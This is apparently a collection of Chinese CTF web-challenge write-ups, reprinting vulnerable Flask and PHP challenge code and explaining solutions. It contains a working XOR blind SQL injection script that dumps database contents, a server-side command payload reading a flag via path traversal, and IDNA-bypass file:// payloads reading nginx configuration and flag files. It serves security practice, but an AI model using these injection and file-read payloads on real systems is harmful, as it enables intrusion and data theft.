代码整理:
#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)):
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=9999)
三个路由:
'/'
'/De1ta'
'/geneSign'
/
就是读代码然后打出来
/geneSign
作用
geneSign()
函数:获取输入的param
参数,执行函数getSign(scan,param)
getSign()
函数:将传来的scan
和param
md5加密传回/De1ta
作用
cookie
读取action
和sign
,从GET
请求读取param
,读取请求ip
waf
函数过滤以gopher
或file
开头的param
(action,param,sign,ip)
回Task类task.Exec()
执行结果输出Task
类初始化,对ip
md5加密,没有路径关键字在其中就建一个md5加密后的ip
为名的目录checkSign()
函数,getSign()
处理后的md5
值和cookie
传入的sign
值进行弱比较cookie
传的action
有scan
关键字,就写入scan(param)
,如果有read
,就可以读对应内容总结一下就是:
param
放要读的文件flag.txt
cookie
里的action
+GET
里的param
加密后要等于cookie
里的sign
geneSign
告诉我们param
+关键字action
的MD5加密是多少
那我们在/geneSign
页面传param=flag.txtread
就能算出来secret_key+flag.txt+readscan
的值是多少,可以绕过弱比较
最终,回到/De1ta
页面,GET
传参param=flag.txt
,cookie
传参action=readscan;sign=373113c5d0074f5f2ef7721e3d02fff4
可以得到flag
,密钥不同环境不同
================================================
参考博客
用异或盲注,脚本来自参考博客
import requests
import time
url="http://8bf0bc1e-3d13-4d37-9342-dc640f9d2b08.node4.buuoj.cn:81/search.php"
# 0^(ord(substr(database(),1,1))>32)
def getDatabase():
database_name=""
for x in range(1,1000):
low = 32
hight = 127
mid=(low+hight)//2
while low < hight:
params={
"id":"0^(ord(substr((select(database())),"+str(x)+",1))>"+str(mid)+")"
}
r=requests.get(url=url,params=params)
if "others~~~" in r.text:
low = mid+1
else:
hight = mid
mid=(low+hight)//2
if low <=32 or hight >= 127:
break
database_name += chr(mid)
print("数据库为:",database_name)
def getTable(): # 获取表名
tables_name = ""
for x in range(1,1000):
left = 32
right = 127
mid=(left+right)//2
while left < right:
params = {
"id" : "0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),"+str(x)+",1))>"+str(mid)+")"
}
r=requests.get(url=url,params=params)
if "others~~~" in r.text:
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if left < 32 or right > 127:
break
tables_name += chr(mid)
print("table:",tables_name)
time.sleep(1)
# F1naI1y,Flaaaaag
def getColmun():
column_name=""
for x in range(1,1000):
left=32
right=127
mid=(left+right)//2
while left<right:
while left < right:
params = {
"id": "0^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y'))," + str(x) + ",1))>" + str(mid) + ")"
}
r = requests.get(url=url, params=params)
if "others~~~" in r.text:
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if left < 32 or right > 127:
break
column_name += chr(mid)
print("column:", column_name)
time.sleep(1)
def getFlag():
flag=""
for x in range(1,1000):
left=32
right=127
mid=(left+right)//2
while left<right:
while left < right:
params = {
"id": "0^(ord(substr((select(group_concat(password))from(F1naI1y))," + str(x) + ",1))>" + str(mid) + ")"
}
r = requests.get(url=url, params=params)
if "others~~~" in r.text:
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if left < 32 or right > 127:
break
flag += chr(mid)
print("flag:", flag)
time.sleep(1)
getDatabase()
getTable()
getColmun()
getFlag()
======================================================
改XFF,IP地址会随之改变
{system('cat ../../../../../../flag')}
======================================================
擦,源码底部给了flag,以为是假的,试了试是对的
不过如果你复制这些文字去搜索内容的时候也会看到翻译后的内容,这里应该是应用了class
换了原文的显示形式
=======================================================
参考博客
参考博客2
老样子,ctrl U自动整理代码
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
特殊字符经过inda
编码再utf-8
解码可以出来一些字符组合
要绕过前两个if
,匹配第三个if
,将特殊字符整进去,解码后能拼成要检测的值
常用nginx路径:
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
要求跑出来经过inda编码再utf-8解码之后==c
或者其他suctf.cc
中的字符也行
脚本参见博客
file://suctf.cℂ/../../../../..//usr/local/nginx/conf/nginx.conf
file://suctf.cℂ/../../../../..//usr/fffffflag
或者不用../
也行
========================================================
参考博客
源码
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
echo '
Login
';
if(isset($_POST['username']) and $_POST['username'] != '' )
{
// $_POST['username'];
$admin = '6d0bc1';
// 14795508
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
Document
Hello,'
.$_POST['username'].'
data:
Client IP:
';
fwrite($shtml,$text);
fclose($shtml);
// echo 'File:',$file_shtml;
header("Url_Is_Here:".$file_shtml);
echo "[!] Header error ...";
} else {
echo "";
echo '